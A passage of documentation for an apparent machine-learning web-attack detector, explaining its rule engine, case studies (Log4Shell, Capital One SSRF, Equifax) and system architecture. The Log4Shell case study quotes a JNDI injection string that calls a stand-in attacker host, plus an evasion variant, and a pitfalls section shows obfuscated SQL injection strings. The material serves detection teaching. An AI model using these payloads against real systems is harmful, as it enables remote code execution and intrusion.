This means a request matching both SQL injection (0.85) and double-encoding (0.40) scores 0.90, not 0.85. The boost captures the intuition that multi-technique attacks are more suspicious than single-pattern matches.
### Common Pitfalls
**Mistake: Relying solely on regex patterns for SQL injection detection**
```
# This regex catches basic injection
r"UNION\s+SELECT"
# But misses obfuscated variants
# UNI/**/ON SEL/**/ECT
# 0x554e494f4e2053454c454354 (hex-encoded)
```
That's why the rule engine is layered with double-encoding detection and combined with ML. The autoencoder catches obfuscated variants because the high entropy and unusual character distribution of encoded payloads still diverge from normal traffic patterns.
**Mistake: Setting rule scores too high**
Giving every rule a score of 0.90+ makes the severity system useless. AngelusVigil calibrates scores so that only the most dangerous patterns (Log4Shell, command injection) score above 0.90. Lower-confidence matches like open redirect (0.55) appropriately reflect that these patterns have higher false positive rates.
## How These Concepts Relate
```
Raw Log Line
│
▼
Feature Engineering (35-dim vector)
│
├──────────────────────┐
▼ ▼
Rule Engine ML Ensemble
(pattern + threshold) (AE + RF + IF)
│ │
└──────┬───────────────┘
▼
Score Blending (0.3 rules + 0.7 ML)
│
▼
Severity Classification
(HIGH / MEDIUM / LOW)
│
▼
Alert Dispatch
(store + WebSocket + log)
```
Feature engineering feeds both detection paths. The rule engine uses the raw features (path, query string, user agent) and windowed aggregates (request rate, error rate). The ML ensemble uses the encoded 35-dimensional float vector. Both paths produce scores in [0, 1] that get blended for the final decision.
The active learning loop closes the cycle: analysts review alerts, label them as true/false positives, and those labels become training data for the next round of ML model training.
## Industry Standards and Frameworks
### OWASP Top 10
This project detects attacks from most of the OWASP Top 10 (2021):
- **A03:2021 Injection** - SQL injection, command injection, and LDAP injection patterns are directly matched by the rule engine and captured by the ML models through feature engineering (high entropy, encoded characters, attack pattern flags)
- **A07:2021 Identification and Authentication Failures** - Credential stuffing detection via windowed request rates and error rates against login endpoints
- **A10:2021 Server-Side Request Forgery (SSRF)** - Rule engine matches internal IP ranges and cloud metadata endpoints like `169.254.169.254`
- **A01:2021 Broken Access Control** - Path traversal detection via both rules (`../` patterns) and features (unusual path depth, high special character ratio)
### MITRE ATT&CK
Relevant techniques this project detects or monitors:
- **T1190 - Exploit Public-Facing Application** - The primary threat model. All rule patterns and ML detection target exploitation of web-facing services
- **T1595 - Active Scanning** - Scanner detection via User-Agent signatures (nikto, sqlmap, nmap) and behavioral fingerprints (high unique path count, uniform request intervals)
- **T1110 - Brute Force** - Rate anomaly detection and error rate monitoring catch credential brute-force attempts
- **T1071.001 - Application Layer Protocol: Web Protocols** - The entire system monitors HTTP traffic patterns for anomalous communication
### CWE
Common weakness enumerations the rule engine targets:
- **CWE-89** - SQL Injection
- **CWE-79** - Cross-site Scripting (XSS)
- **CWE-78** - OS Command Injection
- **CWE-22** - Path Traversal
- **CWE-918** - Server-Side Request Forgery (SSRF)
- **CWE-113** - HTTP Response Splitting (CRLF Injection)
- **CWE-601** - Open Redirect
- **CWE-917** - Expression Language Injection (Log4Shell)
## Real World Examples
### Case Study 1: The Log4Shell Pandemic (2021)
On December 9, 2021, a critical vulnerability in Apache Log4j was publicly disclosed (CVE-2021-44228). The vulnerability allowed remote code execution via JNDI lookups embedded in log messages. Attackers could trigger it by injecting `${jndi:ldap://attacker.com/exploit}` into any field that got logged, including HTTP headers, path parameters, and User-Agent strings.
Within 72 hours, mass scanning was detected across the internet. Cloudflare reported blocking 1.3 million Log4Shell exploit attempts per hour at peak. WAF vendors pushed rules, but organizations running unpatched software without WAFs were wide open.
AngelusVigil's approach would have caught this in multiple ways:
- The rule engine has a dedicated LOG4SHELL pattern (score 0.95) matching `${jndi:` and common evasion variants like `${${lower:j}ndi:}`
- The autoencoder would flag the unusual entropy and character distribution of JNDI strings even without a specific rule
- The per-IP windowed features would detect the scanning behavior: hundreds of unique paths probed in rapid succession from the same source
### Case Study 2: Capital One Breach (2019)
In 2019, a former AWS employee exploited a misconfigured WAF on Capital One's AWS infrastructure to perform SSRF attacks against the EC2 metadata service at `169.254.169.254`. She retrieved IAM credentials and used them to exfiltrate data from S3 buckets containing 100 million credit applications.
The attack involved HTTP requests to internal IP addresses through the public-facing web application. AngelusVigil's rule engine specifically matches requests targeting `169.254.169.254` and other internal IP ranges (SSRF rule, score 0.70). The feature extractor also flags requests to private IP addresses via the `is_private_ip` feature.
### Case Study 3: Equifax Breach via Apache Struts (2017)
The Equifax breach exposed 147 million records through CVE-2017-5638, a remote code execution vulnerability in Apache Struts. Attackers exploited it for months before detection. The exploit payload was delivered in the `Content-Type` HTTP header, bypassing path-based WAF rules.
While AngelusVigil monitors path and query string patterns rather than headers (it analyzes nginx access logs, not full request bodies), the behavioral anomaly detection would have flagged the post-exploitation activity: unusual paths accessed, atypical response sizes from data exfiltration, and abnormal request patterns from the attacker's tools.
## Testing Your Understanding
Before moving to the architecture, make sure you can answer:
1. Why does the autoencoder train only on normal traffic rather than on a mix of normal and attack samples? What advantage does this give for detecting novel attacks?
2. If you had to choose between the random forest (supervised) and the isolation forest (unsupervised) for a deployment where you have no labeled attack data at all, which would you pick and why? What would you lose?
3. The rule engine gives SQL injection a score of 0.85 and path traversal a score of 0.60. Why the difference? Think about false positive rates and attacker intent.
4. Why are the windowed features (computed from Redis) important for detecting attacks that per-request features miss? Give a specific example.
5. The ensemble weights are 40/40/20 (AE/RF/IF). What would happen if you set the autoencoder weight to 90% and dropped the others to 5% each?
If these questions feel unclear, re-read the relevant sections. The architecture and implementation docs will make more sense once these fundamentals click.
## Further Reading
**Essential:**
- [OWASP ModSecurity Core Rule Set](https://coreruleset.org/) - The open source WAF ruleset that inspired AngelusVigil's rule engine. Understanding CRS rules helps you write better detection patterns
- [MITRE ATT&CK for Enterprise](https://attack.mitre.org/matrices/enterprise/) - The framework for mapping attack techniques. Essential for understanding what your detection system should catch
- [Scikit-learn Isolation Forest documentation](https://scikit-learn.org/stable/modules/outlier_detection.html) - Clear explanation of how isolation forests work, with mathematical details on the scoring function
**Deep dives:**
- Liu, Ting, and Zhou, "Isolation Forest" (2008) - The original paper introducing isolation forests. Explains why anomalies are easier to isolate than normal points and the theoretical basis for the scoring function
- [Google's Rules of Machine Learning](https://developers.google.com/machine-learning/guides/rules-of-ml) - Practical lessons on when ML helps and when it doesn't. Rule #1 is "Don't be afraid to launch a product without machine learning," which is exactly why AngelusVigil starts with rules
- Chandola, Banerjee, and Kumar, "Anomaly Detection: A Survey" (2009) - Comprehensive survey of anomaly detection techniques. Useful for understanding where autoencoders fit in the broader landscape
**Historical context:**
- [Apache Log4j Security Vulnerabilities](https://logging.apache.org/log4j/2.x/security.html) - The official advisory for Log4Shell. Reading the actual CVE and affected versions gives you context for the detection rule
- Krebs on Security, "The Capital One Breach" - Detailed timeline of the SSRF attack that exposed 100M records. Understanding the attack chain helps you see why metadata endpoint detection matters

661
PROJECTS/advanced/ai-threat-detection/learn/02-ARCHITECTURE.md Normal file
View File

@ -0,0 +1,661 @@
# System Architecture
This document breaks down how AngelusVigil is designed and why each architectural decision was made. Read this before diving into the implementation.
## High Level Architecture
```
+----------------------------------------------------------------------+
| Docker Compose Stack |
| |
| +-----------+ +--------------------------------------------+ |
| | nginx | | vigil-backend | |
| | (external)| | | |
| | | | +--------+ +---------+ +-----------+ | |
| | access.log|--->| | Tailer |->| Pipeline|->| Dispatcher| | |
| | | | +--------+ | (4-stage)| +-----+----+ | |
| +-----------+ | +-----+----+ | | |
| | | | | |
| | +-----+----+ +-----+------+ | |
| | | Redis | | PostgreSQL | | |
| | | (windows | | (events) | | |
| | | + pub/ | +------------+ | |
| | | sub) | | |
| | +-----+----+ | |
| | | | |
| | +-----+----+ | |
| | | WebSocket| | |
| | | Relay | | |
| | +-----+----+ | |
| | | +---------------+ | |
| | | | FastAPI REST | | |
| | | | (6 routers) | | |
| +--------------------+---+-------+-------+ | |
| | | | |
| +-------------------------------------+-----------+--------+ | |
| | vigil-frontend | | | | |
| | +-----------+ +----------+ | | | | |
| | | Dashboard | | Threats |<-------+<----------+ | | |
| | | (live) | | (table) | WebSocket REST API | | |
| | +-----------+ +----------+ | | |
| +----------------------------------------------------------+ | |
| | |
| +--------------+ +--------------+ | |
| | GeoIP | | MLflow | | |
| | Updater | | (tracking) | | |
| +--------------+ +--------------+ | |
+----------------------------------------------------------------------+
```
### Component Breakdown
**Log Tailer (tailer.py)**
- Purpose: Watch the nginx access log file for new lines and feed them into the pipeline
- Responsibilities: Handle log rotation (rename and create events), persist read position for crash recovery, push raw lines into the async queue without blocking the event loop
- Interface: Pushes `str` lines into `Pipeline.raw_queue` via `call_soon_threadsafe`
**4-Stage Pipeline (pipeline.py)**
- Purpose: Transform raw log lines into scored threat candidates through four sequential stages
- Responsibilities: Parse log entries, extract and encode features, score via rules + ML, dispatch results
- Interface: Accepts raw lines on `raw_queue`, emits `ScoredRequest` objects via the `on_result` callback
**Rule Engine (rules.py)**
- Purpose: Provide immediate pattern-based detection without ML models
- Responsibilities: Evaluate 9 regex rules, 2 threshold rules, double-encoding and scanner detection against each request
- Interface: `score_request(features, entry) -> RuleResult`
**Inference Engine (inference.py)**
- Purpose: Run the 3-model ONNX ensemble for ML-based scoring
- Responsibilities: Load ONNX sessions, apply RobustScaler normalization, compute autoencoder reconstruction error, extract RF probabilities, return raw per-model scores
- Interface: `predict(batch) -> dict[str, list[float]]`
**Alert Dispatcher (dispatcher.py)**
- Purpose: Route scored requests to storage, real-time alerts, and logging
- Responsibilities: Persist MEDIUM+ events to PostgreSQL, publish JSON alerts to Redis pub/sub, log all events as structured JSON
- Interface: `dispatch(scored) -> None` (async callback)
**Redis (sliding windows + pub/sub)**
- Purpose: Dual role as windowed feature store and real-time message broker
- Responsibilities: Store per-IP sorted sets for behavioral aggregation, relay alert messages from backend to WebSocket clients
- Interface: Sorted sets for `WindowAggregator`, pub/sub for `AlertDispatcher` -> WebSocket relay
**PostgreSQL (event storage)**
- Purpose: Persistent storage for threat events and model metadata
- Responsibilities: Store all MEDIUM+ severity events with full context (features, scores, geo, matched rules), store ML model training metadata and artifact paths
- Interface: SQLModel ORM via async SQLAlchemy
**React Frontend**
- Purpose: Visual interface for monitoring and investigation
- Responsibilities: Live dashboard with stats and alert feed, filterable threats table, model status and retraining controls
- Interface: REST API via Axios/React Query, WebSocket for live alerts
## Data Flow
### Primary Flow: Log Line to Alert
Step by step walkthrough of what happens when nginx writes a log line:
```
1. nginx writes to access.log
│
▼
2. Watchdog PollingObserver fires on_modified
_LogHandler._read_new_lines()
│
▼
3. Raw line pushed to Pipeline.raw_queue (capacity: 1000)
via loop.call_soon_threadsafe
│
▼
4. Stage 1 (_parse_worker): parse_combined(line)
Splits on quotes, extracts IP/method/path/status/UA
Result: ParsedLogEntry
│
▼
5. Stage 2 (_feature_worker):
5a. GeoIP lookup → country_code, city, lat, lon
5b. extract_request_features() → 23 per-request features
5c. WindowAggregator.record_and_aggregate() → 12 windowed features
(single Redis pipeline round-trip: 7 ZADD + 7 ZREMRANGEBYSCORE
+ 5 ZCOUNT + 4 ZRANGEBYSCORE + 7 EXPIRE)
5d. encode_for_inference() → 35-dim float32 vector
Result: EnrichedRequest
│
▼
6. Stage 3 (_detection_worker):
6a. RuleEngine.score_request() → RuleResult (score + matched rules)
6b. If ML models loaded:
InferenceEngine.predict() → raw {ae, rf, if} scores
normalize + fuse + blend with rule score
Result: ScoredRequest (final_score, detection_mode, ml_scores)
|
v
7. Stage 4 (_dispatch_worker):
AlertDispatcher.dispatch(scored)
7a. Log structured event to stdout
7b. If severity >= MEDIUM:
7b-i. create_threat_event() → INSERT into threat_events
7b-ii. Publish WebSocketAlert JSON to Redis "alerts" channel
│
▼
8. Redis pub/sub → WebSocket relay → React dashboard AlertFeed
```
### Secondary Flow: Model Retraining
```
1. POST /models/retrain (API key required)
│
▼
2. Fetch stored ThreatEvents from PostgreSQL
Label via review_label or score thresholds
Supplement with synthetic data if < 200 samples
│
▼
3. TrainingOrchestrator.run(X, y)
3a. prepare_training_data() → stratified split + SMOTE
3b. train_autoencoder() on normal-only data (100 epochs)
3c. train_random_forest() on labeled data (200 estimators)
3d. train_isolation_forest() on normal-only data
│
▼
4. Export to ONNX:
ae.onnx, rf.onnx, if.onnx, scaler.json, threshold.json
│
▼
5. validate_ensemble() on test set
Quality gates: PR-AUC >= 0.85, F1 >= 0.80
│
▼
6. Log to MLflow (params, metrics, artifacts)
|
v
7. Backend restart loads new ONNX models
Switches detection_mode from "rules" to "hybrid"
```
## Design Patterns
### Poison-Pill Shutdown
**What it is:**
A shutdown signal propagated through the queue chain. When `Pipeline.stop()` is called, it puts `None` into `raw_queue`. Each worker checks for `None`, forwards it to the next queue, and exits.
**Where we use it:**
All four pipeline stages in `pipeline.py`. The poison pill cascades:
`raw_queue → parsed_queue → feature_queue → alert_queue`
**Why we chose it:**
Clean, deterministic shutdown. Every worker finishes its current item before exiting. No race conditions, no orphaned tasks. The alternative (cancelling `asyncio.Task` objects) leaves work in an inconsistent state if a worker is mid-processing.
**Trade-offs:**
- Pros: Guaranteed drain of in-flight items, simple to implement, no data loss
- Cons: Shutdown isn't instant (must wait for each stage to process its current item)
### Sidecar Deployment
**What it is:**
AngelusVigil runs alongside the target nginx server without modifying it. The backend reads nginx's access log file (read-only volume mount) and the frontend proxies API calls.
**Why we chose it:**
Zero code changes to the monitored application. You add AngelusVigil to your `compose.yml` and point it at the nginx log volume. The monitored application doesn't know it's being watched.
**Trade-offs:**
- Pros: Non-invasive, works with any nginx deployment, can be added and removed without affecting the target
- Cons: Limited to information in the access log (no request bodies, no response bodies, no headers beyond User-Agent and Referer)
### Factory Pattern with Lifespan
**What it is:**
The `create_app()` function constructs the FastAPI application, and the `lifespan` async context manager handles startup/shutdown of all subsystems.
**Where we use it:**
`factory.py` is the single entry point for the application. The lifespan creates the database engine, connects Redis, initializes GeoIP, builds the pipeline, starts the tailer, and tears everything down in reverse order on shutdown.
**Why we chose it:**
Centralized resource management. Every connection, file handle, and background task is created in one place and cleaned up in one place. This prevents resource leaks and makes the startup/shutdown sequence explicit and testable.
## Layer Separation
```
+----------------------------------------------+
| API Layer (api/) |
| - Route handlers, request validation |
| - Depends on: Services, Schemas |
| - Never touches: Database directly, Redis |
+----------------------------------------------+
|
v
+----------------------------------------------+
| Service Layer (services/) |
| - Business logic, query building |
| - Depends on: Models, SQLAlchemy sessions |
| - Never touches: HTTP request objects |
+----------------------------------------------+
|
v
+----------------------------------------------+
| Core Layer (core/) |
| - Detection, ingestion, features, alerts |
| - Depends on: Redis, GeoIP, ONNX |
| - Never touches: HTTP, database directly |
+----------------------------------------------+
|
v
+----------------------------------------------+
| Model Layer (models/) |
| - SQLModel ORM definitions |
| - Depends on: Nothing (leaf node) |
| - Never touches: Business logic |
+----------------------------------------------+
```
### What Lives Where
**API Layer (api/):**
- Files: `health.py`, `threats.py`, `stats.py`, `models_api.py`, `ingest.py`, `websocket.py`, `deps.py`
- Imports from: `services/`, `schemas/`, `config`
- Forbidden: Direct database queries, Redis operations, ML inference
**Service Layer (services/):**
- Files: `threat_service.py`, `stats_service.py`
- Imports from: `models/`, SQLAlchemy types
- Forbidden: HTTP request/response handling, WebSocket management
**Core Layer (core/):**
- Files: Everything under `core/ingestion/`, `core/detection/`, `core/features/`, `core/alerts/`, `core/enrichment/`
- Imports from: Redis client, ONNX runtime, GeoIP library
- Forbidden: HTTP framework imports, direct database access (dispatcher uses the service layer)
**Model Layer (models/):**
- Files: `ThreatEvent.py`, `ModelMetadata.py`, `Base.py`
- Imports from: `sqlmodel`, `uuid`, standard library
- Forbidden: Business logic, framework dependencies
## Data Models
### ThreatEvent
```python
class ThreatEvent(TimestampedModel, table=True):
__tablename__ = "threat_events"
source_ip: str # INET type, indexed
method: str # HTTP method
path: str # Request path
status_code: int
response_size: int
user_agent: str
threat_score: float # Indexed, 0.0-1.0
severity: str # HIGH/MEDIUM/LOW, indexed
component_scores: dict # JSON: per-rule and per-model scores
matched_rules: list[str] # JSON array of matched rule names
country: str | None
city: str | None
lat: float | None
lon: float | None
feature_vector: list[float] # JSON: full 35-dim vector for replay
model_version: str | None
ml_scores: dict | None # JSON: {ae: 0.7, rf: 0.8, if: 0.3}
reviewed: bool = False # Analyst review flag
review_label: str | None # "true_positive" or "false_positive"
```
**Key design decisions:**
- `feature_vector` is stored as JSON to enable model retraining from historical events without re-extracting features
- `component_scores` stores both rule and ML per-model scores for explainability
- `reviewed` and `review_label` support the active learning loop: analysts mark events, those labels become training data
- Partial index on `reviewed=FALSE` for efficient querying of unreviewed events
### ModelMetadata
```python
class ModelMetadata(TimestampedModel, table=True):
__tablename__ = "model_metadata"
model_type: str # "autoencoder", "rf", "if"
version: str # Content-addressable hash
training_samples: int
metrics: dict # JSON: model-specific metrics
artifact_path: str # Path to ONNX file
is_active: bool # One active per model_type
mlflow_run_id: str | None
threshold: float | None # AE anomaly threshold
notes: str | None
```
**Key design decisions:**
- `is_active` flag with a partial index on `(model_type, is_active=TRUE)` ensures only one version per model type is active at a time
- `version` uses content-addressable hashing so identical model outputs produce the same version string
## Security Architecture
### Threat Model
What we're protecting against:
1. **Web application attacks** - SQL injection, XSS, command injection, path traversal, SSRF, and other OWASP Top 10 attack categories targeting the monitored nginx server
2. **Reconnaissance and scanning** - Automated tools (nikto, sqlmap, nmap) probing for vulnerabilities
3. **Behavioral anomalies** - Credential stuffing, application-layer DDoS, and other attacks that look normal on a per-request basis but are anomalous in aggregate
What we're NOT protecting against (out of scope):
- Network-layer attacks (SYN floods, IP spoofing) since we only see HTTP-layer data from access logs
- Encrypted request bodies, since nginx access logs don't contain POST data or non-standard headers
- Insider threats with direct database access to AngelusVigil itself
### Defense Layers
```
Layer 1: Rule Engine (immediate, deterministic)
Pattern matching against known attack signatures
Behavioral thresholds from windowed features
↓
Layer 2: ML Ensemble (learned, probabilistic)
Autoencoder anomaly detection (unsupervised)
Random forest classification (supervised)
Isolation forest outlier detection (unsupervised)
↓
Layer 3: Score Blending + Severity Classification
30% rule weight + 70% ML weight
HIGH/MEDIUM/LOW severity tiers
↓
Layer 4: Alert Dispatch + Human Review
Persistent storage for forensic analysis
Real-time WebSocket alerts for immediate triage
Analyst review labels for active learning
```
### API Security
- `X-API-Key` header validation on all mutation endpoints (batch ingest, retrain)
- Health and readiness probes are unauthenticated (required for Docker healthchecks)
- WebSocket endpoint is unauthenticated (it only streams alerts, not raw data)
- The backend container mounts the nginx log volume as read-only, preventing any write-back to the monitored system
## Storage Strategy
### PostgreSQL (Persistent Storage)
**What we store:**
- Threat events (MEDIUM+ severity) with full context for forensic analysis
- Model metadata and training metrics for version tracking
**Why PostgreSQL:**
ACID guarantees for threat event storage. You don't want to lose a detected attack because of a race condition. The JSON column support handles the variable-schema fields (component_scores, ml_scores, feature_vector) without requiring a document database. Async driver (asyncpg) integrates cleanly with the FastAPI async lifecycle.
**Storage estimate:**
Each threat event row is roughly 2-4 KB including the 35-float feature vector and JSON fields. At a 1-5% detection rate on moderate traffic (10K requests/hour), that's 100-500 events/hour or roughly 10 GB/month of storage.
### Redis (Ephemeral State + Messaging)
**What we store:**
- Per-IP sliding window sorted sets (7 sets per tracked IP, 15-minute TTL)
- Real-time alert pub/sub messages (ephemeral, no persistence needed)
**Why Redis:**
Sorted sets with score-based range queries are perfect for sliding window aggregation. `ZCOUNT key <5min_ago> +inf` runs in O(log N) time. The pipeline feature batches all 7 ZADD + 7 ZREMRANGEBYSCORE + 5 ZCOUNT + 4 ZRANGEBYSCORE + 7 EXPIRE operations into a single round-trip.
Pub/sub provides the fan-out mechanism for WebSocket relay. When the backend publishes an alert, every connected WebSocket client receives it regardless of which backend worker processed the original request. This decouples producers (pipeline) from consumers (WebSocket connections).
**Memory estimate:**
Each tracked IP uses 7 sorted sets with a 15-minute TTL. At 10K unique IPs with 50 members per set, that's roughly 10 MB of Redis memory.
## Configuration
### Environment Variables
```bash
# Server
HOST=0.0.0.0 # Bind address
PORT=8000 # Backend port
DEBUG=false # Debug mode (enables tracebacks in responses)
LOG_LEVEL=INFO # Python logging level
API_KEY= # Required for mutation endpoints
# Database
DATABASE_URL=postgresql+asyncpg://vigil:changeme@localhost:5432/angelusvigil
# Redis
REDIS_URL=redis://localhost:6379
# Paths
NGINX_LOG_PATH=/var/log/nginx/access.log
GEOIP_DB_PATH=/usr/share/GeoIP/GeoLite2-City.mmdb
MODEL_DIR=data/models
# Pipeline Tuning
RAW_QUEUE_SIZE=1000 # Backpressure capacity for raw log lines
PARSED_QUEUE_SIZE=500 # Capacity after parsing
FEATURE_QUEUE_SIZE=200 # Capacity after feature extraction
ALERT_QUEUE_SIZE=100 # Capacity for scored requests awaiting dispatch
BATCH_SIZE=32 # ML inference batch size
BATCH_TIMEOUT_MS=50 # Max wait before sending partial batch
# ML Ensemble
ENSEMBLE_WEIGHT_AE=0.40 # Must sum to 1.0
ENSEMBLE_WEIGHT_RF=0.40
ENSEMBLE_WEIGHT_IF=0.20
AE_THRESHOLD_PERCENTILE=99.5 # Autoencoder anomaly threshold calibration
MLFLOW_TRACKING_URI=file:./mlruns
```
### Configuration Strategy
Configuration is managed via Pydantic Settings (`config.py`) which loads from environment variables and `.env` files. A `model_validator` enforces that ensemble weights sum to 1.0 at startup, failing fast rather than silently producing wrong scores at runtime.
**Development:** The `.env` file provides defaults. The dev compose mounts source code volumes for hot-reload and uses shorter healthcheck timeouts.
**Production:** All secrets (API_KEY, POSTGRES_PASSWORD, GEOIP_LICENSE_KEY) are required via `${VAR:?error}` syntax in `compose.yml`, forcing explicit configuration rather than falling through to insecure defaults.
## Performance Considerations
### Bottlenecks
Where this system gets slow under load:
1. **ML inference** - ONNX inference takes 5-20ms per request unbatched. At 1000 req/s, this would create a backlog. The pipeline uses dynamic batching (collect up to 32 requests or wait 50ms, whichever comes first) to amortize the overhead.
2. **Redis round-trips** - Each request needs 7 ZADD + 7 trim + 5 count + 4 range + 7 expire operations. Pipelining reduces this from 30 round-trips to 1, but at very high request rates the Redis pipeline itself becomes a bottleneck.
3. **GeoIP lookups** - The MaxMind mmap'd database is fast (~100us) but blocks the thread. Wrapped with `asyncio.to_thread()` to avoid blocking the event loop.
### Optimizations
- **Dynamic batching** in the detection worker: Collects feature vectors into batches of up to 32 before running ONNX inference. This improves throughput from ~35 req/s (unbatched) to ~640 req/s
- **Single Redis pipeline** per request: All 30 windowed aggregation operations execute in a single pipeline round-trip (~1ms total vs. ~30ms sequential)
- **ONNX single-threaded execution**: `inter_op_num_threads=1` and `intra_op_num_threads=1` avoids thread contention in the async Python process. ONNX thread pools fight with asyncio's event loop for CPU time
- **Fast parser path**: String-split parsing for standard nginx combined format, with regex fallback only for non-standard lines. The split path is 3-5x faster
### Scalability
**Vertical scaling:**
Single-process throughput ceiling is around 640 req/s with batching. Adding more CPU cores doesn't help because the pipeline is single-threaded by design (asyncio event loop). Memory usage scales linearly with tracked IPs in Redis.
**Horizontal scaling:**
To handle higher throughput, run multiple backend instances each tailing a partition of the log stream (or use a shared log bus like Kafka). Redis pub/sub already fans out alerts to all WebSocket clients regardless of which backend processed the event. PostgreSQL handles concurrent writes from multiple backends without issue.
## Design Decisions
### Why ONNX Instead of Native PyTorch/sklearn
**What we chose:**
Export all three models to ONNX and use ONNX Runtime for inference.
**Alternatives considered:**
- Native PyTorch inference: Works but 27% slower on CPU, requires the full PyTorch dependency in the backend container
- TorchScript: Better than raw PyTorch but still requires the PyTorch runtime. ONNX is framework-agnostic
- TensorFlow Lite: Good inference performance but adds a second ML framework dependency alongside sklearn
**Trade-offs:**
ONNX Runtime is faster, lighter, and framework-agnostic. The export step adds complexity during training, and debugging ONNX models is harder than debugging native PyTorch. But since inference is the hot path and training is rare, optimizing inference latency wins.
### Why Rules + ML Instead of ML-Only
**What we chose:**
A hybrid system that blends rule-based and ML-based scores.
**Alternatives considered:**
- ML-only: Simpler architecture, but useless on day one with no training data
- Rules-only: Proven approach (ModSecurity CRS), but can't detect novel attacks or behavioral anomalies
**Trade-offs:**
The hybrid approach provides immediate coverage (rules) that improves over time (ML). The 30/70 blend weight gives rules enough influence to catch high-confidence matches while letting ML dominate for nuanced scoring. The cost is architectural complexity: two scoring paths that must be normalized and blended.
### Why Redis Sorted Sets for Windowed Features
**What we chose:**
Redis sorted sets with Unix timestamps as scores, trimmed by `ZREMRANGEBYSCORE`.
**Alternatives considered:**
- In-memory sliding windows (Python `deque` with timestamp): Simpler but doesn't survive process restarts and doesn't share state across multiple backend instances
- PostgreSQL window functions: Correct but too slow. Each request would need a database query with a window function over recent events. At 500 req/s, the database becomes the bottleneck
- Redis Streams: Better for ordered event processing but worse for random-access aggregation. Sorted sets support `ZCOUNT` for range counting in O(log N)
**Trade-offs:**
Redis sorted sets give us sub-millisecond windowed queries that survive backend restarts and support horizontal scaling. The cost is operational complexity (another service to run) and the 7-sorted-set-per-IP data model that requires careful key management.
## Deployment Architecture
```
+---------------------------------------------+
| Docker Compose (compose.yml) |
| |
| +----------+ +----------+ +-----------+ |
| | postgres | | redis | | geoip | |
| | :5432 | | :6379 | | updater | |
| +----+-----+ +----+-----+ +-----------+ |
| | | |
| +------+-------+ |
| | |
| +------+------+ |
| | backend | :8000 (internal) |
| | (FastAPI) | |
| +------+------+ |
| | |
| +------+------+ |
| | frontend | :80 (host-mapped) |
| | (nginx + | |
| | React) | |
| +-------------+ |
+---------------------------------------------+
```
**Services:**
- **postgres** (18-alpine): Persistent volume, healthcheck via `pg_isready`, 30s start period
- **redis** (7.4-alpine): Custom `redis.conf` for tuning, AOF persistence, healthcheck via `redis-cli ping`
- **backend**: Multi-stage Docker build with uv, reads nginx logs via read-only volume, 180s start period (allows initial model training)
- **frontend**: Vite production build served by nginx, proxies `/api` and `/ws` to backend
- **geoip-updater**: MaxMind sidecar, refreshes GeoLite2-City database every 168 hours
**Networks:**
- `vigil_network`: Internal bridge connecting all services
- `certgames_net`: External network for integration with the monitored application (CertGames)
**Volumes:**
- `postgres_data`, `redis_data`: Persistent state
- `geoip_data`: Shared between updater and backend
- `model_data`: ONNX model artifacts
- `nginx_logs`: External volume from the monitored nginx (read-only mount in backend)
## Error Handling Strategy
### Error Types
1. **Parse errors** - Malformed log lines that don't match nginx combined format. Counted in `stats["parse_errors"]`, logged, and skipped. The pipeline continues processing the next line.
2. **Feature extraction errors** - GeoIP lookup failures, Redis connection issues during windowed aggregation. Logged with the source IP for debugging. The request is dropped from the pipeline but doesn't crash the worker.
3. **ML inference errors** - ONNX session failures, shape mismatches. The detection worker falls back to rules-only scoring for that request. If the inference engine fails consistently, it's marked as not loaded.
4. **Dispatch errors** - PostgreSQL write failures, Redis pub/sub publish failures. Logged and counted. The event is lost but the pipeline continues. PostgreSQL write failures are rare with connection pooling; Redis pub/sub failures mean the WebSocket relay drops that alert but the next one works fine.
### Recovery Mechanisms
**Log tailer crash recovery:**
The tailer persists `(inode, offset)` to a JSON position file after each batch of reads. On restart, it resumes from the saved position if the inode matches (same file). If the inode changed (log was rotated), it starts from position 0 of the new file.
**Pipeline backpressure:**
Each queue has a max size (1000/500/200/100). If a downstream stage falls behind, the upstream queue fills up and the `await queue.put()` call blocks the upstream worker. This prevents memory exhaustion and propagates backpressure all the way to the log tailer, which drops lines when the raw queue is full (logged as warnings).
**Graceful degradation:**
If ONNX models aren't available, the system runs in rules-only mode. If Redis is down, windowed features return zeros (feature extraction catches the exception). If GeoIP is unavailable, geographic enrichment is skipped. Each subsystem's failure is isolated from the others.
## Extensibility
### Where to Add Features
**Adding a new detection rule:**
Add a `_PatternRule` entry to `_PATTERN_RULES` in `rules.py` with a compiled regex and a score. The rule engine will automatically evaluate it against every request. No registration or wiring needed.
**Adding a new ML model to the ensemble:**
1. Add a training function in `ml/`
2. Add an export function in `ml/export_onnx.py`
3. Load the new ONNX session in `inference.py`
4. Add a normalization function in `ensemble.py`
5. Add the model key and weight to the ensemble weights config
6. Update the `_score_with_ml` method in `pipeline.py`
**Adding a new feature:**
1. Compute the feature in `extractor.py` (per-request) or `aggregator.py` (windowed)
2. Add the feature name to `FEATURE_ORDER` in `mappings.py`
3. Update `encode_for_inference` in `encoder.py` if the feature needs special encoding
4. Retrain all models (the feature vector dimension changes)
**Adding a new API endpoint:**
Create a new router file in `api/`, add route handlers, and register it in `create_app()` in `factory.py`.
## Limitations
Current architectural limitations:
1. **Single log file source** - The tailer watches one file. Multi-server deployments would need a log aggregation layer (Fluentd, Filebeat) feeding into a shared bus. Not hard to add, but not built yet.
2. **No request body analysis** - Nginx access logs don't contain POST bodies or custom headers. Attacks hidden in request bodies (like the original Struts2 CVE-2017-5638 exploit via Content-Type header) are invisible. Extending to nginx error logs or application-level logs would close this gap.
3. **Retraining requires restart** - After training new models, the backend must restart to load the new ONNX sessions. Hot-reloading ONNX sessions without downtime would require a model registry and version-swap mechanism.
4. **No distributed pipeline** - The 4-stage pipeline runs in a single Python process. For traffic above ~640 req/s, you need to partition the log stream. A Kafka-based architecture with consumer groups would remove this ceiling.
These are conscious trade-offs. Fixing them adds operational complexity that isn't justified for the target deployment scale (sidecar for a single nginx instance).
## Comparison to Similar Systems
### vs. ModSecurity + OWASP CRS
ModSecurity is the industry standard WAF engine. It runs inline (as an nginx module) and can block requests in real time. AngelusVigil runs out-of-band (reading logs after the fact) and can only detect, not block.
The trade-off: ModSecurity has zero deployment friction for blocking but is rules-only. AngelusVigil adds ML detection and behavioral analysis at the cost of being detection-only. In practice, many teams run both: ModSecurity for blocking known attacks, and a system like AngelusVigil for detecting what ModSecurity missed.
### vs. Elastic SIEM / Splunk
Elastic SIEM and Splunk are full-featured SIEMs that ingest logs from many sources, correlate events, and provide dashboards. AngelusVigil does one thing: analyze nginx HTTP traffic for threats.
